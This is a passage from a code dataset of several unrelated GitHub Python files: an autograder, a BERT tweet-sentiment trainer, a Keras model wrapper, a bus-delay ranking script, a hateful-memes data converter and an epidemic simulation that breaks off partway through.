1\n\n dsc = dice_coef(ref_array, final_prediction_mask)\n dsc_rounded = round(dsc, 4)\n print('dsc' + str(faceIndex) + ': ' + str(dsc_rounded))\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n else:\n break\n\ndef closeStreamsAndWindows(videoStream, outStream):\n videoStream.release()\n outStream.release()\n cv2.destroyAllWindows()\n\nwindow = prepareWindow()\nfaceHeight, faceWidth = getInputDimensions()\nfacePixels = np.zeros((1, faceHeight, faceWidth, 3), dtype=np.uint8)\n\nmodel = load_model('model_post_augmentation.h5', compile = False)\n\nfile_path = filedialog.askopenfilename()\nvideoStream = cv2.VideoCapture(file_path)\nframeCount = getFrameCount(videoStream)\nframeWidth, frameHeight = getDimensionsOfStream(videoStream)\n\noutStream = createOutputFileStream(frameWidth, frameHeight, frameCount)\nsegmentFacesInStream(videoStream, outStream, faceHeight, faceWidth, facePixels)\ncloseStreamsAndWindows(videoStream, outStream)\n\n\n\n\n\n\n\n\n\n","repo_name":"r0s3bud/FacialKeypointsRecognition","sub_path":"venv/SanityCheck.py","file_name":"SanityCheck.py","file_ext":"py","file_size_in_byte":7501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70524824191","text":"age = int(input(\"what is your age? \"))\nif age > 10 and age < 100 : \n months = age * 12\n weeks = months * 4\n days = weeks * 7\n hours = days * 24\n minutes = hours * 60\n seconds = minutes * 60\n print(\"you lived for : \")\n print(f\"{months:,} Months.\\n{weeks:,} Weeks.\\n{days:,} Days.\\n{hours:,} Hours.\\n{minutes:,}\"\n f\" Minutes.\\n{seconds:,} Seconds\")\nelse :\n print('your age is not there in the rang')","repo_name":"abdoshahin1/Tasks_python","sub_path":"practice_2.py","file_name":"practice_2.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"202222390","text":"import numpy as np\nimport os\nimport pandas as pd\nimport sys\n\n# Tell the script where to find the base autograder\nsys.path.append(\"..\")\nsys.path.append(os.path.join(\"..\", \"..\"))\nfrom autograder_base import Base_Autograder\n\n# Colors\nW = '\\033[0m' # white (normal)\nR = '\\033[31m' # red\nO = '\\033[33m' # orange\nY = '\\033[93m' # yellow\nG = '\\033[32m' # green\n\n\n\"\"\"\nProject 3, Problem 4 Autograder\n\nAutogrades a single student's code\n\"\"\"\nclass Autograder_3_4(Base_Autograder):\n\n def __init__(self, in_student_name=\"student\", in_this_dir=\".\", in_test_files=[\"..\", \"test_data\"]):\n super().__init__()\n\n # Student information\n self.student_name = in_student_name\n self.is_grad = True\n\n # Directory information\n self.this_dir = in_this_dir\n self.student_files = \"Problem_4\"\n self.test_files = \"\"\n\n for i in range(len(in_test_files)):\n self.test_files = os.path.join(self.test_files, in_test_files[i])\n\n self.test_files = os.path.join(self.test_files, \"Problem_4\")\n\n # Test information\n self.threads = [1, 4, 16]\n self.test_names = [\n # 1M\n [\n [\"p4-1M\"]\n ],\n\n # 4M\n [\n [\"p4-4M\"]\n ],\n\n # 16M\n [\n [\"p4-16M\"]\n ]\n ]\n\n\n \"\"\"\n Check if the student's answer is within a reasonable bound of the actual answer\n Error Bound:\n - Check that student's answer is within 1% of actual answer\n\n Parameters:\n - expected (ndarray): The actual answer read from test_data/\n - result (ndarray): The student's answer\n \"\"\"\n def is_error_within_bound(self, expected, result):\n\n try:\n # Make sure the shapes of the \n if expected.shape != result.shape:\n raise Exception(\"Shapes of expected output and student output do not match\")\n \n # Compare each point in the student output and see if it is within 5% of the expected output\n for i in range(expected.shape[0]):\n student_val = [result[i][0], result[i][1]]\n expected_val = [expected[i][0], expected[i][1]]\n\n err_margin = 0.05\n if (student_val[0] > expected_val[0] - (err_margin * expected_val[0])) and (student_val[0] < expected_val[0] + (err_margin * expected_val[0])):\n if (student_val[1] > expected_val[1] - (err_margin * expected_val[1])) and (student_val[1] < expected_val[1] + (err_margin * expected_val[1])):\n return True\n \n print(f\"{Y}Student value ({student_val[0]}, {student_val[1]}) is not within {err_margin * 100}% range of expected value ({expected_val[0]}, {expected_val[1]}){W}\")\n return False\n\n except Exception as err:\n print(f\"{R}Error reading output file:{W}\")\n print(f\"{R}\\t{err}{W}\")\n\n return\n\n\n \"\"\"\n Autogrades Problem 1\n Overrides Base_Autograder.autograde()\n\n Constructs a test by retrieving data about paths and data locations, then calls Base_Autograder.grade_problem()\n to test and grade the problem\n \"\"\"\n def autograde(self):\n this_dir = os.path.abspath(self.this_dir)\n test_dir = os.path.abspath(self.test_files)\n\n # Print the test dir and project dir\n if self.DEBUG:\n print(f\"{G} --> Test dir: {test_dir}{W}\")\n print(f\"{G} --> Project dir: {this_dir}{W}\")\n\n # get num cols for threads\n columns = []\n for file in self.test_names:\n for program in file:\n for i in range(len(self.threads)):\n columns.append(f\"{program[0]}-T{self.threads[i]}\")\n\n # student grades\n grade = pd.DataFrame(\n np.nan,\n index=[self.student_name],\n columns=columns\n )\n\n # student timing\n time = pd.DataFrame(\n np.nan,\n index=[self.student_name],\n columns=columns\n )\n\n # Input RNA files\n t_centroids = os.path.join(test_dir, \"centroids.csv\")\n t_points = [\n os.path.join(test_dir, \"points_1M.csv\"),\n os.path.join(test_dir, \"points_4M.csv\"),\n os.path.join(test_dir, \"points_16M.csv\")\n ]\n\n # Expected output\n t_out = [\n os.path.join(test_dir, \"p4_output_1M.csv\"),\n os.path.join(test_dir, \"p4_output_4M.csv\"),\n os.path.join(test_dir, \"p4_output_16M.csv\")\n ]\n\n # Actual program output from the student\n t_dir = os.path.join(this_dir, self.student_files)\n t_p4_prefix = [\"kmeans_clustering\"]\n t_p4_get = [\n [[]], # 1M\n [[]], # 4M\n [[]] # 16M\n ]\n t_p4_tim = [\n [[]], # 1M\n [[]], # 4M\n [[]] # 16M\n ]\n points = [\"1M\", \"4M\", \"16M\"]\n for out in range(len(t_out)):\n for pre in range(len(t_p4_prefix)):\n for t in self.threads:\n t_p4_get[out][pre].append(\n os.path.join(t_dir, f\"res_{t_p4_prefix[pre]}_{points[out]}_{t}th.csv\")\n )\n t_p4_tim[out][pre].append(\n os.path.join(t_dir, f\"tim_{t_p4_prefix[pre]}_{points[out]}_{t}th.csv\")\n )\n\n # generate the commands to run the tests here\n c_p4 = [\n [[]], # 1M\n [[]], # 4M\n [[]] # 16M\n ]\n\n # TA) TODO: alternate program names, if needed\n p4_names = [\n \"kmeans_clustering\"\n ]\n\n input_values = [\n [1000000, 16],\n [4000000, 16],\n [16000000, 16]\n ]\n\n # generate the problems' command-variables\n for file in range(len(t_points)): # For point input\n for program in range(len(p4_names)): # For program\n for t in range(len(self.threads)): # For num thread counts\n c_p4[file][program].append([\n p4_names[program], # program type, like locks or sharing,\n input_values[file][0], # num points\n t_points[file], # points file\n input_values[file][1], # num centroids\n t_centroids, # centroids file\n t_p4_get[file][program][t], # resulting output file\n t_p4_tim[file][program][t], # resulting time file\n self.threads[t] # num threads\n ])\n\n # Create the \"reference\" dictionary that will tell the base autograder where each parameter is located\n c_p4_ref = {\"r\": 5, \"t\": 6}\n\n # we have everything we need to test a problem now\n # grade each individual problem here!\n # TA) TODO: specify each problem's test parameters\n # Problem 3\n test_params = [\n [[]], # 1M\n [[]], # 4M\n [[]] # 16M\n ]\n for file in range(len(t_points)): # For point input\n for program in range(len(p4_names)): # For program names\n for t in range(len(self.threads)): # For num thread counts\n test_params[file][program].append(\n [os.path.join(this_dir, \"Problem_4\"), t_out[file], t_p4_get[file][program][t], c_p4[file][program][t], False, self.is_error_within_bound]\n )\n\n # testing results\n test_results = [None] * len(columns)\n time_results = [None] * len(columns)\n\n # test every problem in a loop\n grade_index = 0\n for file in range(len(self.test_names)):\n for program in range(len(self.test_names[file])):\n for thread in range(len(self.threads)):\n params = test_params[file][program][thread]\n result = self.grade_problem(\n params[0], # Problem dir\n [params[1]], # Expected outputs of test i\n [params[2]], # Output file names\n [params[3]], # Command for getting test i results\n c_p4_ref, # The reference dictionary for the command\n params[4], # Whether to let the differences have an error range\n params[5] # The error function\n )\n\n # set results\n test_results[grade_index] = result[0]\n time_results[grade_index] = result[1]\n\n # add each result to the dataframes\n grade.loc[self.student_name, columns[grade_index]] = test_results[grade_index][0]\n time.loc[self.student_name, columns[grade_index]] = time_results[grade_index][0]\n grade_index = grade_index + 1\n\n return [grade, time]\n\n\n\"\"\"\nStart of program logic\n\"\"\"\ndef main():\n print(f\"{G}Autograding for Project 3 Problem 4:\\n{W}\")\n \n p4 = Autograder_3_4()\n res = p4.autograde()\n total = str(len(res[0].columns))\n correct = str(int(res[0].sum(axis=1)[0]))\n\n print(f\"{Y}\\n Final grades:{W}\")\n res[0].to_csv(\"P3_4_grades.csv\")\n print(res[0])\n\n print(f\"{Y}\\n Final timings:{W}\")\n res[1].to_csv(\"P3_4_times.csv\")\n print(res[1])\n\n print(f\"{R}\\n --> {correct}/{total} problems correct\\n{W}\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"parkerbrandt/PDN_Autograder","sub_path":"Project_3/Your_Solution_Project_3/autograder_problem_3_4.py","file_name":"autograder_problem_3_4.py","file_ext":"py","file_size_in_byte":9679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15199763243","text":"import transformers\nfrom sklearn import model_selection\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\n\nfrom src.dataset import *\nfrom src.engine import *\nfrom src.model import *\n\nclass run():\n pd_data = pd.read_csv(config.TRAIN_FILES).dropna()\n train_data, valid_data = model_selection.train_test_split(pd_data, random_state=42, test_size=0.1)\n train_data = train_data.reset_index(drop=True)\n valid_data = valid_data.reset_index(drop=True)\n\n train_dataset = TweetDataset(\n tweet=train_data.text.values,\n selected_text=train_data.selected_text.values,\n sentiment=train_data.sentiment.values,\n )\n train_data_loader = DataLoader(\n train_dataset,\n shuffle=True,\n batch_size=config.TRAIN_BATCH_SIZE\n )\n\n valid_dataset = TweetDataset(\n tweet=valid_data.text.values,\n selected_text=valid_data.selected_text.values,\n sentiment=valid_data.sentiment.values\n )\n valid_data_loader = DataLoader(\n valid_dataset,\n batch_size=config.VALID_BATCH_SIZE,\n shuffle=False\n )\n\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model = BertBaseUncased().to(device)\n optimizer = optim.Adam(model.parameters(), lr=1e-2)\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10)\n\n for epoch in range(config.EPOCHS):\n train_fn(model, device, train_data_loader, optimizer, scheduler)\n\n torch.save(model, \"../model/model.pkl\")\n\n # test_data = pd.read_csv(\"../input/test.csv\").dropna().reset_index(drop=True)\n #\n # test_dataset = TweetDataset(\n # tweet=test_data.text.values,\n # sentiment=test_data.sentiment.values\n # )\n # test_data_loader = DataLoader(\n # test_dataset,\n # batch_size=config.VALID_BATCH_SIZE,\n # shuffle=False\n # )\n # eval_fn(model, device, valid_dataset)\n\n\n\n\n\nif __name__ == '__main__':\n run()","repo_name":"XuelinLuu/Tweet-Sentiment-Extraction","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34255107074","text":"aluno = str(input(\"Nome do Aluno: \"))\nnota = int(input(\"Digite a nota do aluno: \"))\naluno = aluno.upper()\n\nprint (\"O aluno {}, tirou nota {}\".format(aluno,nota))\n\nif nota >= 7:\n print(\"Portanto o aluno está APROVADO. Parabéns\")\nelse:\n print(\"O aluno está em RECUPERAÇÃO. Estude mais que você vai conseguir!\")\n\n","repo_name":"marcus6255/curso_python","sub_path":"aluno.py","file_name":"aluno.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7894161559","text":"from keras.models import Sequential\nimport abc\nimport pandas as pd\nimport time\nimport csv\nimport os \nfrom keras.models import load_model\nfrom tensorflow.keras.utils import plot_model\nfrom sklearn.metrics import confusion_matrix, ConfusionMatrixDisplay\nfrom sklearn.metrics import classification_report as clf_report\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle as pkl\n\nclass Model():\n def __init__(self,X_train, X_val, X_test, y_train, y_val, y_test, nb_of_label, batch_size=16, epochs=10, input_shape=2048):\n self.X_train = X_train\n self.X_val = X_val\n self.X_test = X_test\n self.y_train = y_train\n self.y_val = y_val\n self.y_test = y_test\n self.input_shape = input_shape\n self.nb_of_label = nb_of_label\n self.model = Sequential()\n self.batch_size = batch_size\n self.epochs = epochs\n self.history = None\n self.model_name = \"\"\n\n @abc.abstractmethod\n def build_model(self):\n raise NotImplementedError\n \n def fit(self):\n self.history = self.model.fit(x=self.X_train, y=self.y_train,\n validation_data=(self.X_val, self.y_val),\n batch_size=self.batch_size,\n epochs=self.epochs,\n use_multiprocessing=True)\n def predict(self, x):\n return self.model.predict(x, batch_size=self.batch_size)\n\n def load_model(self,path):\n self.model = load_model(f\"saved_model/{path}\")\n \n def save(self,path):\n try : self.model.save(f\"saved_model/{path}\")\n except : \n if not os.path.exists('saved_model'):\n os.makedirs('saved_model')\n\n def evaluate(self):\n print('Model evaluation:')\n self.model.evaluate(x=self.X_test, y=self.y_test,\n batch_size=self.batch_size)\n\n def model_result(self):\n print(\"\\nRandom model result ...\")\n self.evaluate()\n\n def save_history_to_csv(self, MODEL_DIR, ITERATION):\n try:os.makedirs(MODEL_DIR)\n except FileExistsError: pass\n with open(f'{MODEL_DIR}/history.csv', mode='a') as f:\n hist = pd.DataFrame(self.history.history).reset_index()\n hist['index'] = hist['index'].apply(lambda x: ITERATION*self.epochs + x)\n hist.to_csv(f, index=False, header=False)\n\n def save_config_to_csv(self, MODEL_DIR, BATCH_SIZE, EPOCHS,NB_ITERATIONS, DATA_TYPE, DATASET_PATH, MODEL_CLASS, INPUT_SHAPE):\n try:os.makedirs(MODEL_DIR)\n except FileExistsError: pass\n with open(f'{MODEL_DIR}/history.csv', mode='w') as f:\n writer = csv.writer(f)\n writer.writerows([ \n [f\"DATE = {time.strftime('%m/%d/%Y, %H:%M:%S', time.localtime())}\"], \n [f\"BATCH_SIZE = {BATCH_SIZE}\"], \n [f\"EPOCHS = {EPOCHS}\"], \n [f\"NB_ITERATIONS = {NB_ITERATIONS}\"], \n [f\"DATA_TYPE = {DATA_TYPE}\"], \n [f\"DATASET_PATH = {DATASET_PATH}\"], \n [f\"MODEL_CLASS = {MODEL_CLASS}\"], \n [f\"MODEL_DIR = {MODEL_DIR}\"], \n [f\"INPUT_SHAPE = {INPUT_SHAPE}\"],\n ['epochs','loss','accuracy','val_loss','val_accuracy']\n ])\n def summary(self):\n return self.model.summary()\n\n def plot_tree_model(self):\n print(f'Saving tree model ...', end='')\n plot_model(model=self.model, to_file=f'figures/tree_model/{self.model_name}_tree.png', dpi=300, show_shapes=True)\n print('done')\n \n\n def confusion_mat(self, X_test, y_test): \n y_pred = self.model.predict(X_test)\n y_pred = np.argmax(y_pred , axis=1) \n y_test = np.argmax(y_test, axis=1)\n return confusion_matrix(y_test, y_pred)\n \n def plot_confusion_matrix(self, X_test, y_test, classes=None):\n print(f'Saving confusion matrix ...', end='')\n cm = self.confusion_mat(X_test, y_test)\n plt.figure(figsize=(30,20))\n disp = ConfusionMatrixDisplay(confusion_matrix=cm,\n display_labels=classes)\n disp.plot()\n plt.title(f'Confusion Matrix for {self.model_name}')\n plt.savefig(f\"figures/confusion_matrix/conf_mat_{self.model_name}.png\", dpi=300)\n print('done')\n\n def classification_report(self, X_test, y_test, save=False): \n y_pred = self.model.predict(X_test)\n y_pred = np.argmax(y_pred , axis=1) \n y_test = np.argmax(y_test, axis=1)\n res = clf_report(y_test, y_pred)\n if save : \n dico = clf_report(y_test, y_pred, output_dict=save)\n with open(f\"classification_report/{self.model_name}.pkl\", 'wb') as f:\n pkl.dump(dico, f)\n print(f\"Classifation report for {self.model_name};\\n{res}\")\n return res\n \n def load_classification_report(self):\n with open(f\"classification_report/{self.model_name}.pkl\", 'rb') as f:\n dico = pkl.load(f)\n return dico\n\n\n","repo_name":"timfronteau/SAMproject","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"43076612379","text":"from collections import defaultdict\nimport sys\nimport django\ndjango.setup()\n\nfrom busshaming.models import Agency, RouteDate, Feed\n\nFEED_SLUG = 'nsw-buses'\n\n\nMIN_TRIPS = 500\nMIN_RT_ENTRIES = 0\n\n\ndef main(is_best, verylate):\n feed = Feed.objects.get(slug=FEED_SLUG)\n routedates = defaultdict(list)\n for rd in RouteDate.objects.filter(route__feed=feed).prefetch_related('route').all():\n routedates[rd.route.agency.name].append(rd)\n\n results = []\n for agency_name in routedates:\n rds = routedates[agency_name]\n num_trips = sum([rd.num_trips for rd in rds])\n if num_trips == 0:\n continue\n total_ontime = sum([rd.trip_ontime_count for rd in rds])\n total_verylate = sum([rd.trip_verylate_count for rd in rds])\n result = [\n agency_name,\n num_trips,\n 100 * total_ontime / num_trips,\n 100 * total_verylate / num_trips,\n ]\n results.append(result)\n\n if verylate:\n results.sort(key=lambda x: x[3], reverse=not best)\n else:\n results.sort(key=lambda x: x[2], reverse=best)\n\n for i, res in enumerate(results):\n desc = res[0]\n out = f'{i+1}\\t{res[1]}\\t{res[2]:.2f}\\t{res[3]:.2f}\\t' + desc\n print(out)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print(f'Usage: {sys.argv[0]} ')\n sys.exit(1)\n\n best = sys.argv[1] == 'best'\n verylate = sys.argv[2] == 'verylate'\n\n main(best, verylate)\n","repo_name":"katharosada/bus-shaming","sub_path":"scripts/generate_agency_ranking.py","file_name":"generate_agency_ranking.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"60"} +{"seq_id":"39315018666","text":"from typing import Any\nfrom goodjson import ROOT_SYMBOL\nfrom goodjson.errors import ErrorMessage\nfrom goodjson.types import CheckerFunction, ValidatorFunction, ValidatorReturn, ValidationFail\n\n\ndef validator(message: ErrorMessage):\n \"\"\"\n Turn a bare checker function into a descriptive validator function\n \"\"\"\n def decor(fun: CheckerFunction) -> ValidatorFunction:\n def inner(value: Any) -> ValidatorReturn:\n ok = fun(value)\n\n if not ok:\n val_fail: ValidationFail = {\n 'error': message,\n 'data': {\n 'path': ROOT_SYMBOL,\n 'value': value\n }\n }\n else:\n val_fail = None\n\n return ok, val_fail\n return inner\n return decor\n","repo_name":"namoshizun/goodjson","sub_path":"goodjson/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"70261702913","text":"import base64\nfrom ctypes import ArgumentError\nfrom math import floor\nfrom pathlib import Path\nimport pandas as pd\nfrom PIL import Image, ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nfrom io import BytesIO\nimport os\nimport multiprocessing as mp\nfrom typing import Tuple\n\n\nclass XformBase64():\n def __init__(self, print_freq=0, id=0):\n self.print_freq=print_freq\n self.call_num = 0\n self.id = id\n\n def __call__(self, img_str:str):\n self.call_num = self.call_num + 1\n if (self.print_freq != 0) and (self.call_num % self.print_freq == 0):\n print(\"Xform %i transforming %ith image\" % (self.id, self.call_num))\n if type(img_str) is not str:\n print(img_str)\n raise ArgumentError(\"Xform %i encountered non-string input on %ith image.\" % (self.id, self.call_num))\n img = Image.open(img_str)\n intermed_buf = BytesIO()\n img.save(intermed_buf, format=\"PNG\")\n img_b64_str = base64.b64encode(intermed_buf.getvalue())\n return img_b64_str.decode('utf-8')\n\n\nclass XformAbsPath():\n def __init__(self, root_dir:str):\n self.root = root_dir\n def __call__(self, img_str:str):\n new_str = os.path.join(self.root, img_str)\n return new_str\n\n\ndef mp_xform_b64(xform_tuple:Tuple):\n ds = xform_tuple[0]\n xform = xform_tuple[1]\n return ds.map(xform)\n\n\ndef convert_to_snli_ve(set_name:str, json_name:str, hateful_memes_dir=None, tsv_save_name=None):\n \"\"\"\n Original format:\n \"id\", image id / \"img\", path to img / \"label\", binary class / \"text\", text caption\n \n Target format:\n \"unique_id\", image id + hash? / \"image_id\", image id / \"image\", image as base64 string / \"hypothesis\", text hypothesis / \"caption\", text caption / \"label\", label\n \"\"\"\n # Grab original dataset\n load_dir = Path(hateful_memes_dir) if hateful_memes_dir is not None else Path(\"data/01_raw/hateful_memes\")\n raw_memes= pd.read_json(load_dir/json_name, lines=True)\n\n # copy \"id\" column, insert at position 1 as \"image_id\"\n # rename column 0 as unique_id\n uid_col = raw_memes[\"id\"]\n iid_col = raw_memes[\"id\"]\n snli_memes = pd.concat({\"unique_id\":uid_col, \"image_id\":iid_col}, axis=1)\n \n # transform \"img\" from image file path to image base64 string, rename as \"image\"\n xform_to_abs = XformAbsPath(load_dir)\n xform_to_base64 = XformBase64(200)\n snli_memes[\"image\"] = raw_memes[\"img\"].transform(xform_to_abs)\n # This next bit is pretty slow, so leverage multiple workers\n num_procs = mp.cpu_count() - 1\n if num_procs > 1:\n worker_pool = mp.Pool(num_procs)\n num_imgs = snli_memes.shape[0]\n imgs_per_proc = floor(num_imgs/(num_procs - 1)) # last proc gets remainder, which may be more/less than imgs_per_proc\n num_imgs_split = imgs_per_proc * (num_procs - 1)\n stack_of_splits = [(snli_memes[\"image\"][i - imgs_per_proc : i], XformBase64(200, i))\n for i in range(imgs_per_proc, num_imgs_split+1, imgs_per_proc)]\n last_split = (snli_memes[\"image\"][num_imgs_split:num_imgs], XformBase64(200))\n stack_of_splits.append(last_split)\n xform_stack = worker_pool.map(mp_xform_b64, stack_of_splits)\n snli_memes[\"image\"] = pd.concat(xform_stack)\n else: \n snli_memes[\"image\"] = snli_memes[\"image\"].transform(xform_to_base64)\n\n # insert \"hypothesis\" column at position 3\n hypothesis = \"I am hateful.\"\n snli_memes[\"hypothesis\"] = pd.DataFrame({\"hypothesis\":[hypothesis,]*snli_memes.shape[0]})\n\n # Add caption column\n snli_memes[\"caption\"] = raw_memes[\"text\"]\n \n # Move \"label\" to end, transform from binary to \"entailment\"/\"contradiction\" \n def xform_to_entailment(bin_class:int):\n label = \"\"\n if bin_class == 1:\n label = \"entailment\"\n elif bin_class == 0:\n label = \"contradiction\"\n return label\n \n snli_memes[\"label\"] = raw_memes[\"label\"].transform(xform_to_entailment)\n\n # Save to TSV for OFA\n save_name = Path(tsv_save_name) if tsv_save_name is not None else Path(\"data/02_intermediate/hateful_memes_%s_snli_ve.tsv\" % (set_name))\n with open(save_name, 'w') as tsv:\n snli_memes.to_csv(tsv, sep=\"\\t\", index=False, header=False)\n\n\ndef main():\n # training set\n convert_to_snli_ve(set_name=\"train\", json_name=\"train.jsonl\")\n # validation set\n convert_to_snli_ve(set_name=\"valid\", json_name=\"dev_seen.jsonl\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Benjamin-Etheredge/hateful_memes","sub_path":"hateful_memes/data/hateful_memes_snli_ve.py","file_name":"hateful_memes_snli_ve.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29307938838","text":"import time\nimport matplotlib.pyplot as plt\nfrom Point import Point\nimport Setting\nimport Hospital\nimport random\nimport math\nfrom enum import Enum\n\nworldTime = 0\ninfectedNum = Setting.ORIGINAL_COUNT\nconfirmedNum = 0\ncuredNum = 0\n\nclass State(Enum):\n\tNORMAL = 0\n\tSHADOW = NORMAL+1\n\tSUSPECTED = SHADOW+1\n\tCONFIRMED = SHADOW+1\n\tISOLATED = CONFIRMED+1\n\tCURED = ISOLATED+1\n\n\nclass Person:\n\n\t# SAFE_DIST = 1\n\tNEIGHBOR = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n\t# NEIGHBOR.extend([(1, 1), (1, -1), (-1, 1), (-1, -1)])\n\tsig = 1\n\ttargetSig = 100\n\tdef __init__(self, city, x, y):\n\t\tself.city = city\n\t\tself.x = x\n\t\tself.y = y\n\n\t\t# 随机走动坐标的均值\n\t\tself.targetXU = 100* random.gauss(0, 1) + x\n\t\tself.targetYU = 100* random.gauss(0, 1) + y\n\t\tself.moveTarget = None\n\n\t\tself.state = State.NORMAL\n\t\tself.infectedTime = 0\n\t\tself.confirmedTime = 0\n\t\tself.hospitalTime = 0\n\n\tdef isInfected(self):\n\t\treturn self.state.value>=State.SHADOW.value\n\n\tdef beInfected(self):\n\t\tself.state = State.SHADOW\n\t\tself.infectedTime = worldTime\n\n\tdef canMove(self):\n\t\tvalue = Person.sig*random.gauss(0, 1) + Setting.u\n\t\treturn value>0\n\n\tdef action(self):\n\t\tif self.state==State.ISOLATED:\n\t\t\treturn\n\n\t\tif not self.canMove():\n\t\t\treturn\n\n\t\tif self.moveTarget==None:\n\t\t\ttargetX = Person.targetSig*random.gauss(0, 1) + self.targetXU\n\t\t\ttargetY = Person.targetSig*random.gauss(0, 1) + self.targetYU\n\t\t\tself.moveTarget = Point(targetX, targetY)\n\n\n\t\tdX = self.moveTarget.x - self.x\n\t\tdY = self.moveTarget.y - self.y\n\t\tlength = math.sqrt(dX*dX + dY*dY)\n\n\t\t# 已走到\n\t\tif length<1:\n\t\t\tmoveTarget = None\n\t\t\treturn\n\n\t\tudX = 1.42*dX // length\n\t\tudY = 1.42*dY // length\n\n\t\tif (self.x, self.y) in peopleDict and self in peopleDict[(self.x, self.y)]:\n\t\t\tpeopleDict[(self.x, self.y)].remove(self)\n\t\tself.x += udX\n\t\tself.y += udY\n\n\t\tif (self.x, self.y) not in peopleDict:\n\t\t\tpeopleDict[(self.x, self.y)] = []\n\t\tpeopleDict[(self.x, self.y)].append(self)\n\n\tdef update(self):\n\t\t# print(\"%d, %d\" % (self.x, self.y), end='')\n\t\tself.action()\n\t\t# print(\"===> %d, %d\" % (self.x, self.y))\n\n\t\tif not self.isInfected():\n\t\t\tfor dir in Person.NEIGHBOR:\n\t\t\t\tnx, ny = self.x+dir[0], self.y+dir[1]\n\t\t\t\tif (nx, ny) not in peopleDict:\n\t\t\t\t\tcontinue\n\t\t\t\tpersonList = peopleDict[(nx, ny)]\n\t\t\t\tfor person in personList:\n\t\t\t\t\tif person.isInfected():\n\t\t\t\t\t\tif random.uniform(0, 1)=random.randint(Setting.SHADOW_TIME-30, Setting.SHADOW_TIME+30):\n\t\t\tself.state = State.CONFIRMED\n\t\t\tself.confirmedTime = worldTime\n\t\t\tglobal confirmedNum\n\t\t\tconfirmedNum += 1\n\n\t\n\t\tif self.state==State.CONFIRMED and worldTime-self.confirmedTime>=Setting.HOSPITAL_RECEIVE_TIME:\n\t\t\tbed = Hospital.pickBed()\n\t\t\tif bed==None:\n\t\t\t\tprint(\"隔离区没有空床位\")\n\t\t\telse:\n\t\t\t\tself.state = State.ISOLATED\n\t\t\t\tself.x, self.y = bed.x, bed.y\n\t\t\t\tself.bed = bed\n\t\t\t\tbed.setEmpty(False)\n\t\t\t\tself.hospitalTime = worldTime\n\n\n\t\tif self.state==State.ISOLATED and worldTime-self.hospitalTime>=Setting.CURED_TIME:\n\t\t\tself.state = State.CURED\n\t\t\tglobal curedNum\n\t\t\tcuredNum += 1\n\t\t\t# personPool.curedNum += 1\n\n\t\t\tHospital.returnBed(self.bed)\n\t\t\tself.bed.setEmpty(True)\n\n\t\t\tx = 100*random.gauss(0, 1) + city.x\n\t\t\ty = 100*random.gauss(0, 1) + city.y\n\t\t\t(x, y) = map(int, (x, y))\n\n\t\t\tself.x, self.y = x, y\n\n\ncity = Point(10000, 10000)\npeoplePool = []\npeopleDict = dict()\t\t# 位置映射到人\n\n\n\nfor i in range(Setting.CITY_POPULATION):\n\tx = 1000*random.gauss(0, 1) + city.x\n\ty = 1000*random.gauss(0, 1) + city.y\n\t(x, y) = map(int, (x, y))\n\n\tperson = Person(city, x, y)\n\tpeoplePool.append(person)\n\n\tif (x, y) not in peopleDict:\n\t\tpeopleDict[(x, y)] = list()\n\t\n\tpeopleDict[(x, y)].append(person)\n\n\n\n# worldTime = 0\n# peoplePool = PeoplePool.peoplePool\n# \n\nimport matplotlib.pyplot as plt\n\ndef plot_pic(infected, confirmed, cured, infected_now):\n\t'''\n\tdays: 天数\n\tinfected: 累计感染人数\n\tconfirmed: 累计确诊人数\n\tcured: 累计治愈人数\n\tinfected_now: 当前感染人数(即infected - cured)\n\t'''\n\tdays = range(1,len(infected)+1)\n\tplt.scatter(days, infected, s = 10, c='r', label = 'people infected')\n\tplt.scatter(days, confirmed, s = 10, c='g', label = 'people confirmed')\n\tplt.scatter(days, cured, s = 10, c='b', label = 'people cured')\n\tplt.scatter(days, infected_now, s = 10, c='y', label = 'people infected right now')\n\n\tplt.title('Data chart', fontsize = 18) \n\tplt.xlabel('Days', fontsize = 12)\n\tplt.ylabel('Number of people', fontsize = 12)\n\tplt.legend()\n\tplt.show()\n\ndef showPeople():\n\tX = []\n\tY = []\n\tfor (x, y) in peopleDict:\n\t\tX.append(x)\n\t\tY.append(y)\n\tplt.scatter(X, Y)\n\tplt.show()\n\t\nif __name__=='__main__':\n\t# showPeople()\n\t# 初始感染者\n\tinfectedPeople = random.sample(peoplePool, Setting.ORIGINAL_COUNT)\n\tfor person in infectedPeople:\n\t\tperson.beInfected()\n\n\tday = 0\n\n\n\tinfectedTotal = []\n\tconfirmedTotal = []\n\tcuredTotal = []\n\tinfectedNow = []\n\n\twhile worldTime<600:\n\t\t# time.sleep(0.1)\n\n\t\tfor p in peoplePool:\n\t\t\tp.update()\n\n\t\tworldTime += 1\n\t\t\n\t\tif 